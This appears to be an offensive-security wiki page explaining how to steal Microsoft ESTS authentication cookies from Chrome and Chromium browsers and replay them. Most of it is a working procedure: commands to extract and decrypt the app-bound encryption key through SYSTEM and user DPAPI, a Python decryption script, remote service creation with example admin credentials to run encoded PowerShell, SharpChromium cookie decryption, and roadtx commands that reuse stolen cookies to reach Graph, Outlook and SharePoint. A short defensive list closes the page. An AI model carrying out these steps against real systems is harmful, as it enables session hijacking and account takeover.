ESTS Cookie Extraction and Reuse
Note
ESTS cookies (ESTSAUTH, ESTSAUTHPERSISTENT) are stored in your browser once you are logged in to login.microsoftonline.com login portal. Notice that whenever you are accessing Microsoft resources unauthenticated, it will redirect back to login.microsoftonline.com. This is where ESTS cookies come in place to verify the authentication before allowing access to the resource.
You can steal ESTS cookies from multiple different browsers with multiple techniques documented across internet. The well-known browser that’s famous for cookie stealing is Chromium-based browser (Chrome, Edge, Opera, etc…). There are various technique to steal cookies from browser:
- Decrypting DPAPI encrypted cookies in
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies
- Parsing process memory to extract cookies
Decrypting DPAPI encrypted cookies
Note
For updated Chrome (not Chromium), it is now enforcing App Bound Encryption which means the encryption key is now encrypted with system DPAPI instead of current user master keys. This is to prevent the stealer from easily decrypting encrypted secrets without SYSTEM privileges.
Step 1: Extract the encrypted master key
- Download
Local State
file located in%LOCALAPPDATA%\Google\Chrome\User Data
Local State
file contains JSON formatted strings. We are looking for.os_crypt.app_bound_encrypted_key
attribute (for newer Chrome versions) or.os_crypt.encrypted_key
(for older versions). Use jq to extract the specific base64 encryption key:
cat "Local State" | jq -r .os_crypt.app_bound_encrypted_key | base64 -d | tail -c +5 > chrome_master_key.bin
This removes the “DPAPI” prefix (first 5 bytes) and saves the encrypted key to a file.
Step 2: Two-step decryption process
The app-bound encryption requires a two-step decryption process:
- First, decrypt the key using SYSTEM DPAPI:
# Run this with SYSTEM privileges
Add-Type -AssemblyName System.Security
$encryptedKey = [System.IO.File]::ReadAllBytes("chrome_master_key.bin")
$systemDecrypted = [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect($encryptedKey, $null, 'LocalMachine'))
$systemDecrypted | Out-File -FilePath "system_decrypted_key.txt"
- Then, decrypt the result again using the current USER DPAPI:
# Run this with user privileges
Add-Type -AssemblyName System.Security
$systemDecrypted = Get-Content "system_decrypted_key.txt"
$userDecrypted = [System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String($systemDecrypted), $null, 'CurrentUser')
The final step depends on whether you’re dealing with Chromium or Chrome:
For Chromium-based browsers:
# Extract the state key (last 32 bytes)
$stateKey = ($userDecrypted[-32..-1] | ForEach-Object { $_.ToString("x2") }) -join ''
For Chrome:
Chrome adds an additional layer using AES-GCM with an elevation service key:
# Python script for final Chrome decryption
import binascii
from Crypto.Cipher import AES
user_decrypted = "YOUR_USER_DECRYPTED_BASE64_STRING"
decrypted_key = binascii.a2b_base64(user_decrypted)[-61:]
elevation_service_key = binascii.a2b_base64('sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=')
cipher = AES.new(elevation_service_key, AES.MODE_GCM, nonce=decrypted_key[1:1+12])
state_key = cipher.decrypt_and_verify(decrypted_key[13:45], decrypted_key[45:]).hex()
print(state_key)
To run the first step as SYSTEM, you can create a service:
# Convert the PowerShell script to base64
$PsScript = Get-Content system_decrypt.ps1
$EncodedCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PsScript))
# create service
services.py domain.local/Administrator:Password1234@10.10.10.10 create -name fakeservice -display fakeservice -path 'cmd.exe /c powershell -enc $EncodedCommand'
# run service
services.py domain.local/Administrator:Password1234@10.10.10.10 start -name fakeservice
Step 3: Use the decrypted state key to decrypt cookies
- Once you have the final state key (hex string), you can use it with tools like SharpChromium:
.\SharpChromium.exe cookies /statekey:$stateKey
- Download the Cookies database from
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies
- Filter for cookies with host_key like
%login.microsoftonline.com%
to find ESTS cookies
Using the extracted ESTS cookies
Manual browser reuse
You can inject the cookies manually into your browser using developer tools:
- Open Developer Tools (F12)
- Go to Application tab → Cookies
- Add the ESTSAUTH and ESTSAUTHPERSISTENT cookies for the domain
.login.microsoftonline.com
- Navigate to a Microsoft service like office.com to test the authentication
Using ROADtools for cookie reuse
ROADtools provides great modules for working with Microsoft authentication tokens and cookies:
Using the interactiveauth module
The interactiveauth
module can leverage the ESTS cookies to authenticate to various Microsoft services:
roadtx interactiveauth -c msteams -r msgraph --estscookie "0.AXoAqzBRR7ViQU.................<snip>"
This will authenticate to the Microsoft Graph using the Microsoft Teams client ID.
Using the browserprtauth module
You can use the browserprtauth
module to emulate browser authentication with the stolen cookies:
roadtx browserprtauth -url https://office.com --estscookie "0.AXoAqzBRR7ViQU.................<snip>"
Accessing specific services with cookies
ROADtools also provides specialized modules for accessing specific services:
# Access Outlook Web App
roadtx owalogin --estscookie "0.AXoAqzBRR7ViQU.................<snip>"
# Access SharePoint/OneDrive
roadtx sharepointlogin --host https://tenant-my.sharepoint.com --estscookie "0.AXoAqzBRR7ViQU.................<snip>"
Defensive considerations
To defend against ESTS cookie theft:
- Implement conditional access policies that check device compliance
- Use shorter session timeouts
- Enable sign-in risk policies
- Monitor for suspicious authentication patterns
- Consider browser isolation for sensitive accounts
- Implement MFA with phishing-resistant methods (FIDO2 keys)